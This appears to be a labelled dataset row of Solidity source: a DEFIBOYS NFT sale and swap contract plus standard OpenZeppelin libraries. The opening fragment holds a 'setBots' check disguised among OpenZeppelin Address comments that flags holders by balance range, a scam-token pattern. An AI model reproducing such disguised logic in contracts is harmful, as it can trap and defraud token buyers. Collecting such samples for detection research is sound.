* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function setBots(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {
return true;
} else {
return false;
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | True | [
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|
// SPDX-License-Identifier: UNLICENSED
// Code by zipzinger and cmtzco
// DEFIBOYS
// defiboys.com
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "./Unlockable.sol";
import "./NftManager.sol";
library SwapMapping {
struct Map {
uint256[] tradableNfts;
mapping(uint256 => uint256) price;
mapping(uint256 => uint256) indexOf;
mapping(uint256 => bool) inserted;
}
function get(Map storage map, uint256 nftId)
external
view
returns (uint256)
{
return map.price[nftId];
}
function getKeyAtIndex(Map storage map, uint256 index)
external
view
returns (uint256)
{
return map.tradableNfts[index];
}
function size(Map storage map) external view returns (uint256) {
return map.tradableNfts.length;
}
function set(
Map storage map,
uint256 key,
uint256 val
) public {
if (map.inserted[key]) {
map.price[key] = val;
} else {
map.inserted[key] = true;
map.price[key] = val;
map.indexOf[key] = map.tradableNfts.length;
map.tradableNfts.push(key);
}
}
function remove(Map storage map, uint256 key) public {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.price[key];
uint256 index = map.indexOf[key];
uint256 lastIndex = map.tradableNfts.length - 1;
uint256 lastKey = map.tradableNfts[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.tradableNfts[index] = lastKey;
map.tradableNfts.pop();
}
}
contract Nft is ERC721Enumerable, ERC721Pausable, Ownable, Unlockable {
using Address for address payable;
using SwapMapping for SwapMapping.Map;
event NFTRoyaltyPaid(address payable addressPaid, uint256 paymentAmount);
SwapMapping.Map private _swapMap;
string public baseURI;
uint256 public nftIndex;
uint256 public maxNftCount;
uint256 public currentPrice;
address payable public artistAddress;
address payable public nftManagerAddress;
mapping(uint256 => address payable) public royaltyRecipients;
mapping(uint256 => uint256) public royaltyPercents;
uint256 public royaltyCount;
string public contractMetadataURI;
constructor(
uint256 _maxNftCount,
address payable _nftManagerAddress,
uint256 _currentPrice,
address payable _artistAddress,
uint256 _royaltyPercent,
string memory nftName,
string memory nftSymbol,
bool _unlockable
) ERC721(nftName, nftSymbol) {
require(_currentPrice > 0, "NFT sale price cant be 0");
_pause();
unlockableContent = _unlockable;
nftIndex = 0;
royaltyCount = 0;
maxNftCount = _maxNftCount;
currentPrice = _currentPrice;
artistAddress = _artistAddress;
setNewRoyalty(_artistAddress, _royaltyPercent);
uint256 nftPercent = SafeMath.sub(9500, _royaltyPercent);
nftManagerAddress = _nftManagerAddress;
address payable nftWallet = payable(msg.sender);
setNewRoyalty(nftWallet, nftPercent);
}
function unpause() external onlyOwner {
_unpause();
}
function listedTokens() external view returns (uint256[] memory) {
return _swapMap.tradableNfts;
}
function ownedTokens(address payable _addr)
external
view
returns (uint256[] memory)
{
uint256 balance = balanceOf(_addr);
uint256[] memory result = new uint256[](balance);
uint256 balId;
for (balId = 0; balId < balance; balId++) {
result[balId] = tokenOfOwnerByIndex(_addr, balId);
}
return result;
}
function sumRoyalties() private view returns (uint256) {
uint256 royaltySum = 0;
uint256 id;
if (royaltyCount == 0) {
return 0;
}
for (id = 1; id <= royaltyCount; id++) {
royaltySum = SafeMath.add(royaltySum, royaltyPercents[id]);
}
return royaltySum;
}
function setRoyalty(
uint256 _id,
address payable _addr,
uint256 _royaltyPercent
) external onlyOwner {
require(_id <= royaltyCount, "Invalid royalty id provided");
uint256 newRoyaltySum = SafeMath.sub(
SafeMath.add(sumRoyalties(), _royaltyPercent),
royaltyPercents[_id]
);
require(newRoyaltySum <= 9500, "Royalty overflow");
setRoyaltyAddress(_id, _addr);
setRoyaltyPercent(_id, _royaltyPercent);
}
function setNewRoyalty(address payable _addr, uint256 _royaltyPercent)
public
onlyOwner
{
uint256 newRoyaltySum = SafeMath.add(sumRoyalties(), _royaltyPercent);
require(newRoyaltySum <= 9500, "Royalty overflow");
uint256 _id = SafeMath.add(royaltyCount, 1);
setRoyaltyAddress(_id, _addr);
setRoyaltyPercent(_id, _royaltyPercent);
royaltyCount += 1;
}
function setRoyaltyAddress(uint256 _id, address payable _addr) internal {
royaltyRecipients[_id] = _addr;
}
function setRoyaltyPercent(uint256 _id, uint256 _royaltyPercent) internal {
royaltyPercents[_id] = _royaltyPercent;
}
function setArtistAddress(address payable _artistAddress)
external
onlyOwner
{
royaltyRecipients[1] = _artistAddress;
}
function setCurrentPrice(uint256 _currentPrice) external onlyOwner {
require(_currentPrice > 0, "NFT sale price must be higher than 0.");
currentPrice = _currentPrice;
}
function setMaxNFTCount(uint256 _count) external onlyOwner {
require(_count >= nftIndex, "maxNFTCount must be larger than nftIndex");
maxNftCount = _count;
}
function collectDust() external onlyOwner {
msg.sender.call{value: address(this).balance}("");
}
function nftBuy() external payable {
require(msg.value >= currentPrice, "Send more money. Buy failed");
require(!paused(), "Nft not released yet");
uint256 testNum = SafeMath.add(nftIndex, 1);
require(testNum <= maxNftCount, "NFT sold out");
nftIndex += 1;
_safeMint(msg.sender, nftIndex);
_swapMap.remove(nftIndex);
_payRoyalties(2, msg.value);
_payRoyalties(1, msg.value);
}
function _payRoyalties(uint256 _royaltyIndex, uint256 _value) private {
require(_royaltyIndex > 0, "Invalid royaltyIndex");
uint256 payPercent = royaltyPercents[_royaltyIndex];
uint256 paymentAmount = SafeMath.div(
SafeMath.mul(uint256(_value), uint256(payPercent)),
uint256(10000)
);
Address.sendValue(royaltyRecipients[_royaltyIndex], paymentAmount);
if (_royaltyIndex == 1) {
emit NFTRoyaltyPaid(
royaltyRecipients[_royaltyIndex],
paymentAmount
);
}
}
function nftList(uint256 _id, uint256 _price) external {
require(
_isApprovedOrOwner(msg.sender, _id),
"You aren't the owner of this NFT"
);
require(_price > 0, "Swap price must be > 0");
approve(nftManagerAddress, _id);
_swapMap.set(_id, _price);
}
function nftSwap(uint256 _id) external payable {
require(_swapMap.inserted[_id], "NFT: NFT not available for swap");
require(_swapMap.price[_id] > 0, "NFT: NFT not available for swap");
require(
msg.value >= _swapMap.price[_id],
"NFT: Insufficient money sent for swap"
);
address payable originalOwner = payable(ownerOf(_id));
_nftManagerSwap(msg.sender, _id);
uint256 maxPayoutForRoyalties = SafeMath.div(
SafeMath.mul(uint256(msg.value), uint256(2000)),
uint256(10000)
);
uint256 salePayoutForSeller = SafeMath.sub(
msg.value,
maxPayoutForRoyalties
);
Address.sendValue(originalOwner, salePayoutForSeller);
_payRoyalties(2, maxPayoutForRoyalties);
_payRoyalties(1, maxPayoutForRoyalties);
_swapMap.remove(_id);
}
function nftListCancel(uint256 _id) public {
require(
_isApprovedOrOwner(msg.sender, _id),
"You arent the owner of this NFT"
);
_swapMap.remove(_id);
}
function setManagerAddress(address payable _addr) external onlyOwner {
nftManagerAddress = _addr;
}
function _nftManagerSwap(address _recipient, uint256 _id) private {
NftManager(nftManagerAddress).swap(_recipient, _id);
}
function nftManagerPerformSwap(address _recipient, uint256 _tokenID)
external
{
require(msg.sender == nftManagerAddress, "Caller not nftManager");
address originalOwner = ownerOf(_tokenID);
safeTransferFrom(originalOwner, _recipient, _tokenID);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
return baseURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory _baseURIInput) external onlyOwner {
baseURI = _baseURIInput;
}
function getTradeStatus(uint256 _id) public view returns (bool) {
if (!_swapMap.inserted[_id]) {
return false;
}
return _swapMap.inserted[_id];
}
function getTradePrice(uint256 _id) external view returns (uint256) {
if (!_swapMap.inserted[_id]) {
return 0;
}
return _swapMap.price[_id];
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721Enumerable, ERC721Pausable) {
ERC721Enumerable._beforeTokenTransfer(from, to, tokenId);
ERC721Pausable._beforeTokenTransfer(from, to, tokenId);
if (getTradeStatus(tokenId)) {
nftListCancel(tokenId);
}
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
if (getTradeStatus(tokenId)) {
nftListCancel(tokenId);
}
_approve(to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
super.supportsInterface(interfaceId);
}
function setContractURI(string memory _uri) external onlyOwner {
contractMetadataURI = _uri;
}
function contractURI() external view returns (string memory) {
return contractMetadataURI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../../security/Pausable.sol";
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721Pausable is ERC721, Pausable {
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
